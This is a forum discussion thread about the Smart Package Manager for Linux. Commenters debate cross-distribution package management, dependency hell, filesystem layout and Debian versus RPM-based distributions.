Unifying Linux Package Management

Job Diogenes Ribeiro Borges writes "The Smart Package Manager is an intelligent tool that works on the 'dependency hell' of software upgrading and installation on linux. Works with all major distributions (APT, APT-RPM, YUM, URPMI, etc), supporting multiple sources and technologies concurrently. Yes, you could install from multiple sources, from deb, rpm, tgz at same time! Smart Package Manager is being developed by Conectiva and is the tool that makes the Magic of CrossPlatform package management, behind the recently announced 'Four Linux Vendors Agree On An LSB Implementation.' You can get screenshots here (portuguese texts) and a README here."

Comments

I give it a week.

[Kenja]

I give it a week before the infighting starts and the project gets forked six times. Getting a bunch of Linux geeks to agree on a unified ANYTHING is just not going to happen in our lifetimes. Get over it, treat each distro as a diferent OS and get on with your lives.

Re:I give it a week.

[Anonymous Coward]

"treat each distro as a diferent OS and get on with your lives."

Exactly. There is no reason linux needs to be unified. Standards are great, but that doesnt mean there should only be one way of implementing something.

Re:I give it a week.

[Hatta]

Getting a bunch of Linux geeks to agree on a unified ANYTHING is just not going to happen in our lifetimes.

You realiz this is being done by businesses? You know, who pay their developers to do what managment says. Somehow I don't think forking this thing which is intended to unify makes good business sense.

Re:I give it a week.

[Kenja]

"You realiz this is being done by businesses? You know, who pay their developers to do what managment says. Somehow I don't think forking this thing which is intended to unify makes good business sense."

If its not open source, the geeks wont use it.
If the geeks dont use it, its not a unified package manager.
If it is open source, the geeks will fork it.

Re:I give it a week.

[Krunaldo]

You should treat it more like diffrent flavors of ice cream :).

Re:I give it a week.

[Hatta]

If it is open source, the geeks will fork it.

Yeah, because there are so many forks of apt-get and URPMI. Besides, who cares if they fork it, as long as it still works as advertised.

Think about how this project is going to work. You don't have to use it. You can keep apt-get and totally ignore that this thing exists. But hey, if you happen to want something that hasn't been released in a .deb, this thing will install it for you. How is forking going to screw that up? They're going to take out that functionality?

Re:I give it a week.

[Anonymous Coward]

yup, i agree, even though it is different flavors of ice cream it is still the same product under the hood, which is good for cross-distro application installs which this Smart Package Manager is addressing, i think it is great :^)

Re:I give it a week.

[Anonymous Coward]

If its not open source, the geeks wont use it.

Nobody has suggested it wouldn't be open source. It will likely be GPL. Perhaps you're one of those people who don't think commercial businesses can make money from open source software. Here it is in very small easy-to-understand words: Commercial businesses make open source software, and then customers pay for it and use it. Everyone's happy. Please check with IBM, RedHat, Sun, and Novell to see if they'd consider selling OSS as part of their business. Their answers may surprise you. Also check to see whether Novell believes its first profitable quarter in a very long time had anything to do with Linux.

If the geeks dont use it, its not a unified package manager.

Even if it IS a unified package manager, if NOBODY uses it, it's irrelevant. Geeks are a minority even among Linux users these days. Check your local Amiga user's group to find geeks who have an impact on the direction of their platform. If regular (non-geek) Linux users use it, it's relevant. If they don't, it's not.

If it is open source, the geeks will fork it.

And thanks to the GPL, no forks are permanent unless there's a good technical reason to remain forked. Otherwise, just merge the sources and you're back to one product again. Just try doing THAT with OS/2 and Windows NT!!

Re:I give it a week.

[POLAX]

Maybe after a week they'll realize that Portage is the best package manager of them all and dump the rest ;- )

Re:I give it a week.

[Anonymous Coward]

Screw portage :p apt all the way... check out synaptic sometime, it comes with ubuntu and can be used on other debian based systems, kind of like a way to browse the apt sources its exactly what i would want a unified package manager to look and act like. The best way to convert non-geeks to linux is with something that someone who grew up on windows can figure out with no hassel, even though sometimes the relative hassel of linux is what makes it fun :)

Oh, dandy

[krog]

Combining the weaknesses of five different package managers will surely alleviate "dependency hell."

I'll be over here, playing nethack on my NetBSD box and giggling.

Re:Oh, dandy

[Anonymous Coward]

Nothing else to run on it huh? Poor guy.

Re:Oh, dandy

[Homology]

Combining the weaknesses of five different package managers will surely alleviate "dependency hell." I'll be over here, playing nethack on my NetBSD box and giggling.

I can understand the giggling, in particular since the NetBSD packages system is portable and actually works.

Re:Oh, dandy

[whyne]

I don't understand all this fuss is about. cvsup -g -L 2 /usr/ports-supfile cd /usr/ports/xxx/xxx make install clean there is always pkg_add -r xxx.xxx.xxx or in a pinch : portsdb -Uu portversion -l "" portupgrade -arR with the occasional pkgdb -fu

Re:Oh, dandy

[Nothinman]

What weaknesses? Sure package management on Linux isn't perfect, but I fail to see how pkgsrc would fix things.

Re:Oh, dandy

[wdd1040]

Exactly... but, What's wrong with portage? It seems to work fine.

Re:Oh, dandy

[timeOday]

There are lots of portable, workable packaging systems. That's the problem.

Yay for Conectiva!

[Anonymous Coward]

From the people who wrote apt for RPM, it'll probably work well.

What happens when they don't agree?

[Delphis]

What happens when Debian .debs and RedHat .rpms want to install to different places? If you installed as one type, would you be then forced into using the same type of archives every time?

For library locations, ld would probably take care of it.. I'm not sure I can think of any off the top of my head but there may be programs that rely on other components being in a certain place, and possibly barfing if they are not.

Re:What happens when they don't agree?

[mrchaotica]

Sounds to me like one of them isn't following the Filesystem Hierarchy Standard...

Re:What happens when they don't agree?

[Anonymous Coward]

all of them dont. and that is the biggest problem with linux distros.

every asshat filesystem archetict for each distro thinks they are filesystem layout GODS and they are right.

Examples? why is mozilla installed in /usr/lib in Slackware??? what idiot thinks that mozilla is a LIB???

fedora's bastardation of gnome to the point hat the gnome administration docs are useless, Mandrake doing thins as they choose.... I can go on for farking ever.

we need a linus travolds of the filesystem layout and demand you can not call it a "linux" if you do not adher to it.

Re:What happens when they don't agree?

[Anonymous Coward]

This is far from the only problem. It will never be enough to unify the package manager; you need to unify the distros themselves. Here are some things to think about:

1. Naming of packages. The various distributions are likely to have slightly different names for the same things. That becomes a problem when you have dependencies - you might already have the right package but it doesn't look like it. Virtuals are likely to be even more of a problem.

2. Library versions. At present you can't even mix Debian stable and unstable because the packages are linked against different major versions of libc. libstdc++ is even more of a nightmare because it changes from gcc 3.2 to 3.3 to 3.4.

3. Conflicts. There will most likely be conflicts (such as comon filenames) between packages from different distros. Within a distro this will normally be put in the package header, but it won't be known for cross-distro conflicts.

Re:What happens when they don't agree?

[mrchaotica]

what idiot thinks that mozilla is a LIB???

Well, between Gecko and XUL and whatnot, Mozilla can be a lib. However, if they're going to do that they ought to separate it into "mozlib" in /usr/lib and "Seamonkey [or Firefox], the browser-specific stuff" in /usr/bin.

we need a linus travolds of the filesystem layout and demand you can not call it a "linux" if you do not adher to it.

My hope rests with freedesktop.org.

Re:What happens when they don't agree?

[Mornelithe]

/usr/lib : Libraries for programming and packages

Purpose /usr/lib includes object files, libraries, and internal binaries that are not intended to be executed directly by users or shell scripts. [22]

Applications may use a single subdirectory under /usr/lib. If an application uses a subdirectory, all architecture-dependent data exclusively used by the application must be placed within that subdirectory.

/usr/lib/mozilla is for all the libraries and support binaries and so on that mozilla has. The only thing that should be elsewhere is /usr/bin/mozilla which should be a script or binary that starts up mozilla (eg. calls mozilla-xremote-client or some such), and a few other random pieces sprinkled around (like KDE/Gnome menu entry info).

Where would you put all that stuff?

Re:What happens when they don't agree?

[Anonymous Coward]

The whole idea is plain bullshit. Even if you happen to use the same packaging system doesn't mean they're compatible. E.g. the names of some packages are different between Fedora and Mandrake. So, that tool will never be able to satisfy the depency as it will not know 100% the packages with the same name are really the same software. The namespaces of each vendor are unique, that's the biggest "problem" (if you want). Depencies aren't hell, it's just a symptom the modularity of the OS. If you want hell, stick to Windows.

Re:What happens when they don't agree?

[caseih]

It's worse than that. A major problem would be simply the names of the packages. For example, on Fedora, the pango-* rpms depend on glib2-*. pango-devel would depend on glib2-devel. In Debian, they call the packages pango-dev and glib-2-dev or something. Package manager don't just use lists of provided resources to resolve dependencies; they also use package names.

I haven't read much of the documentation on this project, but the only way it would work would be to implement their own (yet another) package management system and just use rpms debs, etc as sources, eliminating name-based dependencies.

Either way I don't see a huge advantage for existing distributions. I'd prefer a very smart alien (maybe with canonical package names and conversion rules) for converting say from fedora to debian and vice versa.

Re:What happens when they don't agree?

[Anonymous Coward]

Where would you put all that stuff?

where does mozilla DEFAULT to when you run the installer?

THAT is where it belongs.

Re:What happens when they don't agree?

[Mornelithe]

If they're following the Linux Filesystem Hierarchy Standard, they'll put it exactly where it says in what I quoted, which, incidentally, seems to be wher Slackware is putting it. I don't know what they actually do. However, you still haven't answered where the logical place to put it is, other than /usr/lib. The only thing that immediately comes to mind is /opt, but that's most likely not the right place to put it either, assuming it's an official package for your distribution.

What you appear to be saying is that instead of every distribution's "asshat filesystem architect" choosing where to put installed packages, you want every single developer to individually choose where his package goes? That way there's absolutely no enforcement of the way things are laid out on a particular distribution? If I like to put all the software I build in /boot/foobar/bucknasty, the dammit, that's the only sensible place to put it. Yeah, that makes a lot more sense.

Re:What happens when they don't agree?

[mrchaotica]

I'd prefer a very smart alien (maybe with canonical package names and conversion rules) for converting say from fedora to debian and vice versa.

Parse Error: Idiom "very smart alien" not found in context "Linux distributions"

Re:What happens when they don't agree?

[Antique Geekmeister]

It's worse. What happens when each of them has the same configuration file, such as "/usr/info/dir.info", but it belongs to two different packages and you want to install both?

Re:What happens when they don't agree?

[Antique Geekmeister]

He means "Maxwell's Daemon", a process that automatically identifies each package as being required or not required for the dependencies of the desired software. Can I get a Mod +2 for making a pun that good?

Re:What happens when they don't agree?

[caseih]

Umm, no. I was referring to the program "alien" which converts packages between slackware, rpm, and debian formats. http://kitenet.net/programs/alien/

urpmi

[Anonymous Coward]

is good enough on my mandrake box. And I am pretty sure that debian folks will say the same about apt.

Re:urpmi

[Kick the Donkey]

And yum works great on my Fedora boxen, once you add a couple of bigger repositories. The biggest problem with package management is that someone has to actaully package the software. They come out with a new version of some software, and, unless one of the developers happens to use my distro of choice, I've got to wait until some other kind soul will package it.

Either that, or install it from source. Which, for most small applications, is not a big deal. However, libraries and DEs are a different animal all together.

Re:urpmi

[Antique Geekmeister]

freshrpms.net and their "dag" and "dries" repositories have turned out to be wonderful, at least for RedHat users, to get the latest versions of all those cool tools such as video grabbers and security packages, just for your reference. The maintainers have been extremely good about repackaging those tools as fast as possible in a really good format. cpan2rpm is also your friend. Now if only the Perl developers would use a standard naming and numbering convention for their packages. If I see one more Perl package named "packag-irrelevant-subname.0.0.0.237.8.12-feedmese ymour.tar.gz", I'm going to slap the author silly.

A step in the Right? direction?

[CrackHappy]

This tool really points to the fact that Linux distributions in general are all over the map regarding the installation of packages.

I believe that this tool could be VERY useful to an average user, if they can manage to get it installed and configured. From what I've seen, there are many steps to getting this to work.

Linux distributions have a big problem with package installation and management from an end user point of view. They are a MAJOR pain in the ass, even for experienced users like myself.

Hopefully this develops further and provides us with something to aid in distributing Linux over more desktops.

Re:A step in the Right? direction?

[garcia]

Linux distributions have a big problem with package installation and management from an end user point of view. They are a MAJOR pain in the ass, even for experienced users like myself.

Then why are we bothering to have users have to search all over the net for different packages? Why can't the individual distributions handle their own package distribution?

I haven't bothered with anything other than a kernel tarball since moving to Debian several years ago. The only downside I see to apt-get is that I find myself less knowledgeable about my system because I am never installing anything or configuring anything. Everything is setup to go right out of the box.

Let's not worry about a single "base" and let's just let the distributions handle everything for themselves.

Re:A step in the Right? direction?

[Uzik2]

Binary Package installation is a pain in the ass
because there are a lot of developers all
heading in different directions. If your
package works perfectly even for
one distro you have how many desktop managers
you might potentially have to install a
menu option in? At least KDE and Gnome,
if not more. Then add interdependencies between
libraries and external programs. It won't get
better until someone takes the lead and unifies
Linux like LSB is trying to do. This won't help,
it will simply make the same mistakes faster.

Re:A step in the Right? direction?

[aklix]

Consolidated package management is a big step with the developers aiming for the average user. It's a step all right, but in the right direction, I'm not sure. I think a new Package Management system must be created rather than combining the old ones. Many old package management systems tend to be very specific, limiting, and sometimes even confusing.

In the ongoing quest to make OSS user friendly, we will need to rewrite most of our interface code. Installing programs must have atleast a feel of control, and Linux must become Linux again, not Mandrake or Red hat. Consolidation is what is needed for developers to get their program to the widest audience, the only thing that will be worth selling.

That and we need a decent Instant Messanger.

Re:A step in the Right? direction?

[urmensch]

Letting distributions handle their own package system sounds good... until you want to install something for which they have no package.

Re:A step in the Right? direction?

[DarkMantle]

..."if they can manage to get it installed and configured."

They should have an rpm, deb, and any other format package ready, since they know so much about them. :p

Re:A step in the Right? direction?

[Nothinman]

Do you know how many packages I have installed on my 4 Debian machines that aren't in the Debian repositories? 2, if you don't count commercial apps that will never be packaged like VMWare or Q3.

I'm not saying it's perfect, but Debian sid has over 16,000 packages already so the chances are good that even if you can't find the exact package you want, you can find a workable alternative.

Re:A step in the Right? direction?

[ptlis]

What about Jabber? Or did you mean IM Client, in which case what about gaim; sure it's not perfect but it is constantly improving (mostly thanks to the 3week release schedule)?

I would, however, be very interested in a IM client made by the Moz developers.

Re:A step in the Right? direction?

[JW Troll]

Sure it's an ugly hack, but if it allows me to install MPlayer on Ubuntu and have it actually WORK, then I'll be happy. Hooray for us all.

Re:A step in the Right? direction?

[mattyrobinson69]

gentoo's the same, ive not installed one package that wasn't in portage - even vmware workstation is there, you just need the serial. Some packages you have to download yourself (because of crappy licenses), but once you do, the ebuild handles the dependancies for it.

I very much doubt gentoo or debian would change their package managers so it could use anything else - i like it just the way it is (apart from the fact ive been compiling gentoo since 4am monday and its now 11pm tuesday - hoping to be complete by 2moro afternoon)

Re:A step in the Right? direction?

[Anonymous Coward]

[...] if you don't count commercial apps that will never be packaged like VMWare or Q3.

Why aren't you counting these?

There are lots of commercial apps available as RPMs. I think being commercial-friendly is one feature of a good system.

I use Debian, I think it's fine, but I won't pretend that its package manager is perfect.

I can't say "Just about everything I use is packaged, as long as you don't count most of the stuff that isn't packaged" with a straight face.

Re:A step in the Right? direction?

[Anonymous Coward]

I think being commercial-friendly is one feature of a good system.

...and a liability. I am not looking forward to the day when spy/ad/crapware is packaged for one-click install on any mainstream Linux distro! An abundance of third party software comes at a price.

Re:A step in the Right? direction?

[colmore]

I'll second this. As a curious beginner, software installation and dependencies are the single biggest headache I've encountered in every distribution I've ever tried (Fedora, Mandrake, Debian, Suse)

Re:A step in the Right? direction?

[Anonymous Coward]

If you're tired of the compiling times with Gentoo why don't you switch to Debian? I'm also a Gentoo to Debian convert for the aforementioned reason. It has even more packages.

Re:A step in the Right? direction?

[obdulio]

Does it support Enlightenment epplets?

And apps that are provided only in source code form?

Re:A step in the Right? direction?

[Nothinman]

Do you mean are they packaged? If so, then yes.

$apt-cache search enlightenment
e16keyedit - a keybinding editor for the enlightenment window manager
e16menuedit - A graphical menu editor for enlightenment
enlightenment - The Enlightenment Window Manager
enlightenment-data - Enlightenment Window Manager Run Time Data Files
enlightenment-theme-bluesteel - Hunchback's BlueSteel theme for E
enlightenment-theme-brushedmetal - Audio files for the BrushedMEtal-Tigert E Theme
enlightenment-theme-ganymede - cK's Ganymede theme for E
enlightenment-theme-shinymetal - Raster's ShinyMetal Theme for E
epplets - The Epplets for the Enlightenment Window Manager
eterm - Enlightened Terminal Emulator

Re:A step in the Right? direction?

[Nothinman]

Why aren't you counting these?

Well because the games I have installed don't come as RPMs anyway and if I had wanted I could have used alien on the VMWare RPM.

But even if I had counted them that only makes 4 more since the only commercial apps I have installed are VMWare, Citrix ICA Client, Q3 and ET.

I can't say "Just about everything I use is packaged, as long as you don't count most of the stuff that isn't packaged" with a straight face.

And you shouldn't, because that's not even close to what I said. I have over a thousand packages installed, even taking into account the products that are split into multiple packages, libraries, etc that's still at least 100x more DFSG free products than commercial ones.

Re:A step in the Right? direction?

[mattyrobinson69]

its fine apart from the initial install, which i plan to never do again (im going to start backing up).

I like the flexibility of gentoo anyway, use flags are great and you cant do that with binary packages.

Re:Why all the fuss?

[LilMikey]

Software installation using any of the package managers above is usually easier than your average software installation in Windows.

Want Gimp? Type 'apt-get install gimp' and it's there. You don't even have to hit a "Next" button... although the typing may scare off most Windows users.

gentoo already has this...

[diablobsb]

no emerge? count me out...
you already could use apt with rpm based distros.. .and vice versa...

Re:gentoo already has this...

[Trejkaz]

I was thinking the same thing.

Why can't we use a single Portage repository to manage all dependencies and build all binary packages for all distributions? Portage can already create binary packages for Gentoo, it would be a bit of work to make it work for RPM and DEB files, but I'm sure anything is possible.

And what then? Instead of having a hundred distros managing their own repositories, we have the same number of people managing a single Portage repository. The number of packages grows faster as a result, and the freshness of the packages improves as well. Everybody wins.

You're going to hate this but...

[TWX]

...Debian.

I switched to Debian specifically because of the ease of use with the packaging during the era when RPM still sucked massively and was fragmented between RedHat, SuSE, and Mandrake so badly that they couldn't use each others' RPMs.

If I want to not have dependency-based packages I use Slackware, where I use Slackware's tarred gzips or I download source and compile it. If I want a workstation where I can grab X piece of software easily, then it's Debian.

The only thing that this'll be useful for, for me anyway, is installing software that companies release RPM-only, binary only that don't have Open Source alternatives.

Re:You're going to hate this but...

[Anonymous Coward]

Not just Debian. Pretty much anything non-RPM based has no "dependency hell". Why do Debian, Gentoo, and the BSDs not have dependency hell? Because the repositories are controlled! RPM-based distributions will try to install anything from anywhere, and it's no big surprise that nothing matches up.

It's really that simple. Dependency hell is not a software problem. It's a management problem.

Re:You're going to hate this but...

[jrcamp]

Debian has my vote too for this. And when you just have to use that binary only RPM, simply run alien on it then dpkg -i it.

Re:You're going to hate this but...

[Anonymous Coward]

For installing RPM on Debian use alien - http://kitenet.net/programs/alien/

Re:You're going to hate this but...

[Pxtl]

Funny, Windows programs can be fetched from anywhere too, without a single repository, and I've never heard a windows luser complain about "dependancy hell". /flamebait

Re:You're going to hate this but...

[space_man51]

That's because they don't have a "Package Management System". They have an "Installer", which "installs" the program onto the system. From there on, you are on your own (good luck removing the program later).

Oh, and what do you think a "Missing xxxx.dll. Aborting." message is? It's a lack of dependancies!

Re:You're going to hate this but...

[Anonymous Coward]

I've never heard a windows luser complain about "dependancy hell". /flamebait

Cue the upset Linux user to rant about DLL Hell. Well, I'm with you. I've used windows 3.1, 95, 98se, 2000, and xp and it's very rarely been a problem, and never to the point that I felt it was outside my ability to fix it. Linux on the other hand...

Windows trumps any linux distro in ease of software installation on the desktop.

Re:You're going to hate this but...

[xutopia]

did you try Ubuntu? It is my first time with a Debian based system and I have to say I am impressed. The one CD install and recent packages is absolutly awesome! Do you know how it compares to Debian?

Re:You're going to hate this but...

[TWX]

"...and I've never heard a windows luser complain about 'dependancy hell'."

Ever worked with custom software for a specific target audience, like workorder systems, financial systems, student record systems, health record systems, and the like? Ever try to run Ad Aware 6.0 on a Windows 95-based box? Ever try to run an older version of some Microsoft network utility on a newer version of their OS because of requirements of the environment that it's going into? Ever try to secure a Windows 98, NT, or Millennium box against new exploits?

Re:You're going to hate this but...

[TWX]

I've gotten to the point where I just stick with stock "unstable" Debian because I don't really feel like playing much anymore. I work with computers for a living and am mostly sick of them when I get home. Could be on account of work using mostly Microsoft products and my having to constantly remove spyware from probably fifty computers a week, but oh well.

Re:You're going to hate this but...

[Penguinshit]

And with that "feature", you can just dump malware.dll in your home directory (which is the beginning of the Windoze $PATH) and auto-r00t your box in under 5 seconds...

Re:You're going to hate this but...

[Penguinshit]

DOH!

meant CWD instead of ~.. that'll teach me to use the (P)review button.

Re:You're going to hate this but...

[killjoe]

The best thing about debian is not apt. It's the fact that the entire distribution is tested as one cohesive environment. It's a unified system. What does this mean?

Simple you can feel confident that installing something will not break something else.

That alone is worth more then all other packaging systems put together.

I also really like the fact that all packages come either pre-configured to work with debian or have configuration scripts run at install time.

Oh and I love equavalences.

All of this comes at a price of course. If you want to run a well tested system you have to consent to running the tested versions of software which may mean running older software in production environments. For the fearless you can always run unstable.

Re:You're going to hate this but...

[Tet]

RPM still sucked massively and was fragmented between RedHat, SuSE, and Mandrake so badly that they couldn't use each others' RPMs.

Sigh. RPM didn't suck at all. The sole reason for your problems is RPMs popularity. If Ubuntu or Progeny or whoever acquires enough market share, I can guarantee you'll start to see the same issues cropping up with dpkg systems. Initially, it won't be a problem, just as Caldera and SuSE RPMs used to work fine on Red Hat and vice versa -- everyone strived to maintain compatibility with Red Hat. But as soon as a distribution ies to do something different, in an attempt to differentiate itself from the others, then you're headed down the same path that RPM has gone. There is nothing intrinsically better about dpkg than RPM, and dpkg systems' saving grace to date has simply been their comparative lack of success. I wish more people could see the reason things work well under Debian, rather than just blindly claiming RPM sucks.

Re:You're going to hate this but...

[Blakey Rat]

Hm. My MacOS X box doesn't seem to have any problems with dependencies and I install anything I happen to come across on the web without any central management whatsoever.

Management problem, sheesh.

Re:You're going to hate this but...

[Blakey Rat]

Windows is a bad example.

Use MacOS X. No central repository, no dependency hell.

Re:You're going to hate this but...

[Just Some Guy]

Why do Debian, Gentoo, and the BSDs not have dependency hell? Because the repositories are controlled!

Umm, no. Debian controls their main repository, as does Red Hat. Debian has no control over the many alternative repositories listed at http://www.apt-get.org/, and Red Hat has no say about the contents of http://rpmfind.net/.

Any system that lets users can add unofficial package sources to their management system is subject to dependency hell. RPM-based systems happen to get the lion's share of bad publicity in this department, but any Debian user who experimented with the alternative KDE packages people were sending out before the official packages were available knows that it is every bit as susceptible as Red Hat.

Maybe the main difference is that darn near every program you've ever heard of is available from the official Debian sources, so there's almost never any need to use third-party sources. If Red Hat packaged everything under the sun, then their users would probably use those packages and there would be many fewer problems. I'm not suggesting that Red Hat do this, but I do believe that's the reason for their reputation.

Re:You're going to hate this but...

[space_man51]

I think the "central repository" is the best thing about Linux packages, at least the Debian repositories. 95% of the time I can get the software I want without firing up a web browser. In any case, read my other post about making an OSX-like system on Linux:

http://slashdot.org/comments.pl?sid=130629&cid=109 02336

Re:You're going to hate this but...

[Anonymous Coward]

No software.

Or possibly, no libraries, just plain and simple hard-linked binaries.

Re:You're going to hate this but...

[Anonymous Coward]

RPMs were always fucked up because there was no economic incentive for these companies that were selling disk-based-distributions to make sure that nice seamless online upgrading worked. In fact it was better for them if you had to keep buying new disks every few months in order to have things work correctly. The free online distributions (gentoo, debian, etc) never had any of these problems because they were distributed as needed over the internet from the start.

Michael

Re:You're going to hate this but...

[IamTheRealMike]

Unfortunately it comes at a price. Out of date and broken packages are common, moreso than you might think. I've personally had to deal with this sort of breakage on Debian and Gentoo, and it's very frustrating.

Re:You're going to hate this but...

[Carnildo]

You've never heard about "DLL Hell"? Linux software tends to be minimalist about what support libraries it installs, so you get missing dependancies. Windows software tends to install every library it needs, so you get version conflicts when an older version of a DLL overwrites a newer one. DLL conflicts usually manifest themselves in the form of older software no longer working, and is far worse to track down than missing dependancies.

Re:You're going to hate this but...

[fireboy1919]

Windows programs are a lot more unified than Linux programs.

The model is "do as many things as possible, and hope they work," not "do one thing and do it well."

This means there are less dependencies. It also means a fully functional Windows distro is 10 times as large as a similar Linux distro because of redundancy. Further, it's harder to customize and adapt Windows software because of this lack of modularity.

To be fair, though, Microsoft maintains modularity for their APIs, but it's a lot easier to avoid dependency hell when you only have to worry about libraries from one place (if, for example, everyone only used Gnome, and Gnome had no dependencies, then there'd be a lot less problems). Added to that is that there is only really a handful of said libraries with big differences (one for every version of windows), so dependencies are easily tracked by companies.

Last, in Linux, programs are often optimized for architectures and dependencies rather than sticking to a slower, but more stable API. The result is a speed increase, but necessitates simultaneous upgrades.

What's my point? Windows doesn't have this figured out. They're not better. Most companies chose to do every program monolithically, and are getting the advantages and disadvantages that you get from this approach. Linux programs do the opposite, and get the advantages and disadvantages that you get from that approach.

Re:You're going to hate this but...

[Rich0]

However, if I want to download a windows 3D scientific calculator that was built using VB6 and which uses .Net and DirectX 17.5, then the way it is usually distriubted is as a 100MB download which includes installers for all its dependencies. Never mind that 99% of the time most of that download is just deleted since it is already installed.

A typical linux package just contains the calculator, and indicates that it needs a VB runtime, a .Net install, and DirectX v17.5 or whatever. As a result, the linux distro is 100k - the size of the calculator.

Look at open source software for windows - you'll find dependency issues unless you download a big unified installer that installs all the necessary libraries.

Oh, and remember when that vulnerability came out which necessitated scanning your windows system for hundreds of possible vulnerable DLLs all over the filesystem? That is because windows apps tend to be self-contained. On linux there would be a single so file used by all the apps on the system, and only one file to update.

Re:You're going to hate this but...

[Anonymous Coward]

Why do Debian, Gentoo, and the BSDs not have dependency hell? Because the repositories are controlled! RPM-based distributions will try to install anything from anywhere, and it's no big surprise that nothing matches up.

This is not true and I'm talking from experience. I still remember when I wanted to upgrade my Storm linux install to a debian install. Dependency hell, booting into the Red Hat OS and mounting the debian drives to fix problems, ...
Debian is just lucky they are the only supplier of .deb files.

Re:You're going to hate this but...

[Pxtl]

You're not thinking like the end luser. The end luser doesn't care about efficiency, and only minimally cares about issues of "once and only once". They care about "just works". They want to stumble onto something neat while browsing, download it and install it with one or two mouseclicks. The main way to do this on Linux right now is with clumsy RPMs.

Re:You're going to hate this but...

[Anonymous Coward]

Central management is responsible for applications working well with many OS X installs, or Windows installs. In fact, it is the more concentrated central management of platforms that allows software to work on many installs of OS X and Windows.

Certain software doesn't install on older versions of OS X (or Windows, in the Windows world) for some of the same reasons packages from different Linux distributions don't commingle very well: different flavours of a platform usually have different versions of libraries, and different libraries. With OS X, Windows, FreeBSD, and other platforms with one flavour released at a time, one group manages the included libraries and API's; Apple, Microsoft, and others centrally manage their included libraries and APIs.

Re:You're going to hate this but...

[juergen]

I second that. Not the package mechanism per se, but a tightly managed repository with complete and correct meta information and "enough" packages to not have users go elsewhere is what makes a perfect system.

Debian (dpkg, apt) provides both for my needs in 99.5% of all cases (I just checked).

Smart, beeing able to install from a wide variety of repositories, will screw up more often than not, however much their artificial test cases show the opposite.

The only thing useful, if internal package selection algorithms in smart really are better than current counterparts, they can and will be implemented in apt soon too. And that will be a lot easier and more useful than augmenting smart with lists about different package names used by Debian, Fedora, Suse etc., different install locations, different policies, and whatever else is needed for a truly cross-distribution aware package mechanism.

Simply beeing able to install packages from differnt distributions which formally fulfill their stated dependencies is not enough, if the installed packages won't work because of different distributions' policies. I'd rather get a no-go (like apt does) than end up with a broken system.

Re:You're going to hate this but...

[killjoe]

Out of date yes, broken not in my experience (I run stable). Debian stable is solid as a rock. It's old but solid.

Personally it would be great if debian committed to a yearly release. Any more then that and it would be too much work for my environment.

Re:You're going to hate this but...

[jotaeleemeese]

"just works" is impossible without efficency.

You can install RPMs by double clicking on them in RedHat and Mandrake Linuxes...

Re:You're going to hate this but...

[IamTheRealMike]

You don't realise they're broken because you're not a developer on those projects. I deal with broken Wine packages every week. I'm sure most of the people apt-getting and emerging away believe they are getting a quality tested package, but they're actually downloading crap-in-a-tarball.

To be fair, recently both Gentoo and Debian got new Wine maintainers after a long period of neglect. Maybe things will get better now. Let's hope so. Unfortunately it doesn't solve the fundamental weaknesses of the system.

Re:You're going to hate this but...

[T-Ranger]

Hmm. Doesnt it?

Re:You're going to hate this but...

[Kent Recal]

True that. I also think that esp. the so-called "power users" (on windows *snicker*) think like that.

I think we could give them what they want simply by developing a tiny meta fileformat and slapping the mime-type into the browser default install.

Imagine a user stumbles into the homepage of SoCoolMediaPlayer and wants to install it. He'd click a link "Install now" and the meta-file tells the pkg manager which package to fetch/install from the distro repository.

The meta file would be only a few bytes and basically just contain the package name for different distros (which the software author created and added to the various repositories). So for my little example it would prolly look like:

debian SoCoolMediaPlayer
redhat SoCoolMediaPlayer.rpm
gentoo SoCoMePl

etc

just an idea...

Re:You're going to hate this but...

[mizhi]

Nope, no dependency hell except when it tells me that there are updates for my video card.

Last time I let windows upgrade my drivers, my throat was sore from swearing. /feedtroll

Re:You're going to hate this but...

[Kent Recal]

Yup, and I'd like to add that its pretty simple to stay out of trouble.
Just don't bother with debs or rpms download from "somewhere".

If the piece of software you want is not packaged for your distro then just go and compile it from scratch. The build system (e.g. autoconf) can usually work with the libraries you have even if they're not the exact version the package maintainer mentioned in the dependencies.

On debian I usually just dl the tarball and shot off a ./configure. When it complains about libfoo missing I do an 'apt-get install libfoo-dev', then try again. This works more often than it fails and definately avoids introduction of wierd depends into the local package list.

Re:You're going to hate this but...

[Minna Kirai]

I install anything I happen to come across on the web

How's that Mac Half-Life 2 working out for you? Is it as good as they say?

Re:You're going to hate this but...

[Kent Recal]

Some stuff probably just shouldn't be packaged before the code has reached a certain level of stability. Packaging up a beast as complex as wine properly is hard. A smart build-script that fetches and builds the required depends is often better than trying to wrap up a distro package...

Re:You're going to hate this but...

[Anonymous Coward]

RPM didn't suck at all.

Without apt-get, yum, urpmi or yast it sure did! You don't want to download and install arbitrary RPMs from the Net. That's not the way to do it in Linux-land. Newcomers have to learn that ASAP, or they will not be happy!

If you accept that all your software comes from your distro, then you will do fine. Getting software from anywhere else is a risky proposition. This is a sense of risk averseness I consider useful in this day and age. It behooves the Linux community to hold onto it.

Re:You're going to hate this but...

[antiMStroll]

Not quite. Non-RPM distros comprise seven of the current top ten downloads on Distrowatch (http://distrowatch.com/.) Positions 4, 5 and 6 are Debian-based.

Re:You're going to hate this but...

[Minna Kirai]

Hmm. Doesnt it?

No it does not. That page is about Windows Installer, which is NOT a part of Windows, but rather a separate product developers can use to add installability to their software. (Components of it are now shipped with Windows, but that's just Microsoft's bundling in action)

Aside from the Microsoft branding, its little different from installers sold by Winzip or Installshield: all of them are completely arbitrary programs that defy management by the operating system.

Re:You're going to hate this but...

[T-Ranger]

Well, the same can be said for RPM, or deb, or whatever. What is "part of the operating system" anyway? It comes with 2000 and later and was a component of service packs for 98 on. RPM isnt a kernel module, so it isnt "part of the operating system" either. Point?

It is, for better or worse, now the "correct" way to do installs on Windows, thus it provides a common, consistant method for installing (and uninstalling) things. It may or may not be good, but the fact that it is consistant would alone makes it usefull. But it is more then simply a wrapper for compressed files and a dozen or so registry entries. It has significant features, management capabilities for network based installs; it provides for rollbacks, recovery and policies.

Trust me, I hate MS far more then the next guy. And MSI+SMS is almost definitly not as good as ZENWorks. But to declare that Windows doesnt have a package management system is simply false.

Re:You're going to hate this but...

[killjoe]

never used wine, never needed it, never wanted it.

Re:You're going to hate this but...

[Dwonis]

You mean statically-linked. "Hard-linked" means something else entirely.

Re:You're going to hate this but...

[arafel]

The only thing that this'll be useful for, for me anyway, is installing software that companies release RPM-only, binary only that don't have Open Source alternatives.

That's what alien is for.

Re:You're going to hate this but...

[IamTheRealMike]

